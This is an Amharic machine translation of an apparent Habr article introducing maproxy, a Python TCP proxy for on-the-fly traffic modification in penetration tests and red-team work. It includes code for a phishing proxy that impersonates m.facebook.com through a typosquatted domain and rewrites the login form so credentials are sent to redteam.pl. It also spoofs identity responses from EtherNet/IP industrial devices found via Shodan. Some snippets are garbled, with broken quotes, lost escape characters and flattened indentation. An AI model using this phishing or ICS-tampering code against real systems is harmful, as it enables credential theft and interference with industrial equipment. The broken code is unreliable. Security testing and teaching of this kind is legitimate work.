በበረራ ላይ የአውታረ መረብ ውሂብን በማስኬድ ላይ

የጽሁፉ ትርጉም የተዘጋጀው በትምህርቱ መጀመሪያ ዋዜማ ላይ ነው። "ጴንጤ. የመግቢያ ሙከራ ልምምድ".

በበረራ ላይ የአውታረ መረብ ውሂብን በማስኬድ ላይ

ማብራሪያ።

ከመደበኛ የመግባት ሙከራ እና የቀይ ቡድን ኦፕሬሽኖች እስከ IoT/ICS መሳሪያዎች እና SCADA ድረስ ያሉ የተለያዩ የደህንነት ምዘና ዓይነቶች፣ከሁለትዮሽ አውታረ መረብ ፕሮቶኮሎች ጋር መስራትን ያካትታል፣ይህም በዋናነት በደንበኛው እና በዒላማው መካከል የአውታረ መረብ መረጃን መጥለፍ እና ማሻሻል። እንደ Wireshark፣Tcpdump ወይም Scapy ያሉ መሳሪያዎች ስላሉን የኔትወርክ ትራፊክን ማሽተት ከባድ ስራ አይደለም፣ነገር ግን ማሻሻያ የበለጠ ጉልበት የሚጠይቅ ተግባር ይመስላል የአውታረ መረብ ውሂብ ለማንበብ፣ማጣራት፣ለውጥ የሆነ አይነት በይነገጽ እንዲኖረን ስለሚያስፈልግ በመብረር ላይ እና በእውነተኛ ጊዜ ውስጥ ወደ ዒላማው አስተናጋጅ መልሰው ይላኩት። በተጨማሪም, እንደዚህ አይነት መሳሪያ ከበርካታ ትይዩ ግንኙነቶች ጋር በራስ-ሰር መስራት እና ስክሪፕቶችን በመጠቀም ማበጀት ቢችል ጥሩ ይሆናል.

አንድ ቀን የሚባል መሳሪያ አገኘሁ maproxy, ሰነዶቹ በፍጥነት ግልጽ አድርገውልኛል maproxy - እኔ የምፈልገውን ብቻ። ይህ በትክክል ቀላል፣ ሁለገብ እና በቀላሉ ሊዋቀር የሚችል TCP ፕሮክሲ ነው። ይህን መሳሪያ ብዙ ትይዩ ግንኙነቶችን ማስተናገድ ይችል እንደሆነ ለማየት ICS መሳሪያዎችን ጨምሮ (ብዙ ፓኬጆችን በሚያመነጩት) ላይ ጨምሮ በተለያዩ ውስብስብ አፕሊኬሽኖች ላይ ሞከርኩት እና መሳሪያው ጥሩ ስራ ሠርቷል።

ይህ ጽሑፍ በመጠቀም የአውታረ መረብ ውሂብን በበረራ ላይ ለማስኬድ ያስተዋውቀዎታል maproxy.

አጠቃላይ እይታ

መሣሪያ maproxy በቶርናዶ ላይ የተመሰረተ ነው፣ በፓይዘን ውስጥ ታዋቂ እና ብስለት ያለው ያልተመሳሰል የአውታረ መረብ ማዕቀፍ።

በአጠቃላይ ፣ በብዙ ሁነታዎች ሊሠራ ይችላል-

  • TCP:TCP - ያልተመሰጠሩ የ TCP ግንኙነቶች;
  • TCP:SSL и SSL:TCP - ከአንድ-መንገድ ምስጠራ ጋር;
  • SSL:SSL - ባለ ሁለት መንገድ ምስጠራ።

እንደ ቤተ-መጽሐፍት ነው የሚመጣው. ለፈጣን ጅምር ዋናውን የሚያንፀባርቁ የምሳሌ ፋይሎችን መጠቀም ይችላሉ። የቤተ መፃህፍት ተግባራት:

  • all.py
  • certificate.pem
  • logging_proxy.py
  • privatekey.pem
  • ssl2ssl.py
  • ssl2tcp.py
  • tcp2ssl.py
  • tcp2tcp.py

ጉዳይ 1 - ቀላል ባለሁለት አቅጣጫ ፕሮክሲ

በዛላይ ተመስርቶ tcp2tcp.py:

#!/usr/bin/env python

import tornado.ioloop
import maproxy.proxyserver

server = maproxy.proxyserver.ProxyServer("localhost",22)
server.listen(2222)
tornado.ioloop.IOLoop.instance().start()

በነባሪ ProxyServer() ሁለት ግቤቶችን ይወስዳል - የግንኙነት ቦታ እና የታለመ ወደብ. server.listen() አንድ ክርክር ይወስዳል - የመጪውን ግንኙነት ለማዳመጥ ወደብ።

ስክሪፕቱን በማስፈጸም ላይ፡-

# python tcp2tcp.py

ፈተናውን ለማስኬድ፣ ከSSH አገልጋይ ጋር በፕሮክሲ ስክሪፕታችን በኩል እናገናኛለን፣ እሱም በሚያዳምጠው 2222/tcp ወደብ እና ከመደበኛ ወደብ ጋር ይገናኛል 22/tcp SSH አገልጋዮች፡

በበረራ ላይ የአውታረ መረብ ውሂብን በማስኬድ ላይ

የእንኳን ደህና መጣችሁ ባነር የእኛ ምሳሌ ስክሪፕት በተሳካ ሁኔታ የአውታረ መረብ ትራፊክን እንደተወከለ ያሳውቅዎታል።

ጉዳይ 2 - የውሂብ ማሻሻያ

ሌላ ማሳያ ስክሪፕት። logging_proxy.py ከአውታረ መረብ ውሂብ ጋር ለመግባባት ተስማሚ። በፋይሉ ውስጥ ያሉት አስተያየቶች ግብዎን ለማሳካት መቀየር የሚችሉትን የክፍል ዘዴዎችን ይገልፃሉ፡

በበረራ ላይ የአውታረ መረብ ውሂብን በማስኬድ ላይ

በጣም የሚያስደስት ነገር እዚህ አለ:

  • on_c2p_done_read - ከደንበኛው ወደ አገልጋዩ በሚወስደው መንገድ ላይ መረጃን ለመጥለፍ;
  • on_p2s_done_read - የተገለበጠ.

አገልጋዩ ወደ ደንበኛው የሚመልሰውን የኤስኤስኤች ባነር ለመቀየር እንሞክር፡-

[…]
def on_p2s_done_read(self,data):
data = data.replace("OpenSSH", "DumnySSH")
super(LoggingSession,self).on_p2s_done_read(data)
[…]
server = maproxy.proxyserver.ProxyServer("localhost",22)
server.listen(2222)
[…]

ስክሪፕቱን አስፈጽም

በበረራ ላይ የአውታረ መረብ ውሂብን በማስኬድ ላይ

እንደምታየው፣ የኤስኤስኤች አገልጋይ ስም ወደ እሱ ስለተለወጠ ደንበኛው ተሳስቷል። «DumnySSH».

በበረራ ላይ የአውታረ መረብ ውሂብን በማስኬድ ላይ

ጉዳይ 3 - ቀላል የማስገር ድረ-ገጽ

ይህንን መሳሪያ ለመጠቀም ማለቂያ የሌላቸው መንገዶች አሉ. በዚህ ጊዜ ከቀይ ቡድን ኦፕሬሽን ጎን የበለጠ ተግባራዊ በሆነ ነገር ላይ እናተኩር። የማረፊያ ገጹን እንምሰል m.facebook.com እና ሆን ተብሎ የትየባ ጽሑፍ በመጠቀም ብጁ ጎራ ይጠቀሙ፣ ለምሳሌ፣ m.facebok.com. ለማሳያ ዓላማዎች፣ ጎራው በእኛ የተመዘገበ መሆኑን ብቻ እናስብ።

ያልተመሰጠረ የአውታረ መረብ ግንኙነት ከተጎጂዎቻችን ፕሮክሲ እና SSL Stream ወደ Facebook አገልጋይ31.13.81.36). ይህ ምሳሌ እንዲሠራ፣ የኤችቲቲፒ አስተናጋጁን ራስጌ መተካት እና ትክክለኛውን የአስተናጋጅ ስም ማስገባት አለብን፣ እና እንዲሁም ይዘቱን በቀላሉ ማግኘት እንድንችል የምላሽ መጭመቂያውን እናሰናክላለን። በመጨረሻ የኤችቲኤምኤል ቅጹን እንተካለን ስለዚህ የመግቢያ ምስክርነቶች ከፌስቡክ አገልጋዮች ይልቅ ወደ እኛ ይላኩልን ።

[…]
def on_c2p_done_read(self,data):
 # replace Host header
data = data.replace("Host: m.facebok.com", "Host: m.facebook.com")
# disable compression
data = data.replace("gzip", "identity;q=0")
data = data.replace("deflate", "")
super(LoggingSession,self).on_c2p_done_read(data)
[…]
 def on_p2s_done_read(self,data):
 # partial replacement of response
     data = data.replace("action="/am/login/", "action="https://redteam.pl/")
super(LoggingSession,self).on_p2s_done_read(data)
[…]
server = maproxy.proxyserver.ProxyServer("31.13.81.36",443, session_factory=LoggingSessionFactory(), server_ssl_options=True)
server.listen(80)
[…]

በመጨረሻ

በበረራ ላይ የአውታረ መረብ ውሂብን በማስኬድ ላይ

እንደሚመለከቱት, የመጀመሪያውን ጣቢያ በተሳካ ሁኔታ መተካት ችለናል.

ጉዳይ 4 - የኤተርኔት / አይፒን መላክ

ከኢንዱስትሪ መሳሪያዎች እና ሶፍትዌሮች (ICS/SCADA) ጋር ለተወሰነ ጊዜ ያህል እንደ ፕሮግራሚመር ተቆጣጣሪዎች (PLC)፣ አይ/ኦ ሞጁሎች፣ ድራይቮች፣ ሪሌይሎች፣ መሰላል ፕሮግራሚንግ አካባቢዎች እና ሌሎች ብዙ ጋር ስገናኝ ቆይቻለሁ። ይህ ጉዳይ የኢንዱስትሪ ነገሮችን ለሚወዱ ነው. እንደነዚህ ያሉ መፍትሄዎችን መጥለፍ ከኔትወርክ ፕሮቶኮሎች ጋር በንቃት መጫወትን ያካትታል. በሚከተለው ምሳሌ፣ የICS/SCADA የአውታረ መረብ ትራፊክን እንዴት ማሻሻል እንደሚችሉ ማሳየት እፈልጋለሁ።

ለዚህ የሚከተሉትን ያስፈልግዎታል:

  • የአውታረ መረብ አነፍናፊ, ለምሳሌ, Wireshark;
  • ኢተርኔት/IP ወይም የSIP መሣሪያ ብቻ፣ የሾዳን አገልግሎትን በመጠቀም ሊያገኙት ይችላሉ፤
  • የእኛ ስክሪፕት የተመሰረተ ነው maproxy.

በመጀመሪያ፣ ከሲአይፒ (የጋራ ኢንዱስትሪያል ፕሮቶኮል) የተለመደ የመታወቂያ ምላሽ ምን እንደሚመስል እንመልከት፡-

በበረራ ላይ የአውታረ መረብ ውሂብን በማስኬድ ላይ

መሣሪያን መለየት የኢተርኔት/አይፒ ፕሮቶኮልን በመጠቀም ይከናወናል፣ እሱም የተሻሻለው የኢንደስትሪ ኤተርኔት ፕሮቶኮል እንደ CIP ያሉ የቁጥጥር ፕሮቶኮሎችን ያጠቃልላል። በቅጽበታዊ ገጽ እይታው ላይ የሚታየውን የደመቀውን መታወቂያ ስም እንለውጣለን "NI-IndComm ለኤተርኔት" የእኛን ተኪ ስክሪፕት በመጠቀም። ስክሪፕቱን እንደገና ልንጠቀምበት እንችላለን logging_proxy.py እና በተመሳሳይ የክፍል ዘዴን ያሻሽሉ on_p2s_done_read, ምክንያቱም በደንበኛው ላይ የተለየ የመታወቂያ ስም እንዲታይ እንፈልጋለን.

ኮድ:

[…]
 def on_p2s_done_read(self,data):
 # partial replacement of response

 # Checking if we got List Identity message response
     if data[26:28] == b'x0cx00':
         print('Got response, replacing')
         data = data[:63] + 'DUMMY31337'.encode('utf-8') + data[63+10:]
     super(LoggingSession,self).on_p2s_done_read(data)
[…]
server = maproxy.proxyserver.ProxyServer("1.3.3.7",44818,session_factory=LoggingSessionFactory())
server.listen(44818)
[…]

በመሠረቱ፣ የመሣሪያ መለያ ሁለት ጊዜ ጠይቀን ነበር፣ ሁለተኛው ምላሽ የመጀመሪያው ነበር፣ እና የመጀመሪያው በበረራ ላይ ተስተካክሏል።

እና የመጨረሻው

አንደኔ ግምት maproxy ምቹ እና ቀላል መሳሪያ፣ እሱም በፓይዘንም የተፃፈ፣ ስለዚህ እርስዎም በመጠቀማቸው ሊጠቅሙ እንደሚችሉ አምናለሁ። እርግጥ ነው, የአውታረ መረብ ውሂብን ለማቀናበር እና ለማሻሻል በጣም ውስብስብ መሳሪያዎች አሉ, ነገር ግን የበለጠ ትኩረት የሚያስፈልጋቸው እና ብዙውን ጊዜ ለተለየ የአጠቃቀም ጉዳይ የተፈጠሩ ናቸው, ለምሳሌ. ሙራና, ሞድሊሽካ ወይም ክፉ ጂንክስ ከሦስተኛው ጋር ተመሳሳይ ለሆኑ ጉዳዮች, ወይም ሶፋ ለመጨረሻው ጉዳይ. አንድ መንገድ ወይም ሌላ, በእርዳታ maproxy የምሳሌ ስክሪፕቶች በጣም ግልፅ ስለሆኑ የአውታረ መረብ ውሂብን ለመጥለፍ ሀሳቦችዎን በፍጥነት መተግበር ይችላሉ።

በዊንዶውስ ኤዲ ውስጥ የማረጋገጫ ዘዴዎችን በመሞከር ላይ

ምንጭ: hab.com

አስተያየት ያክሉ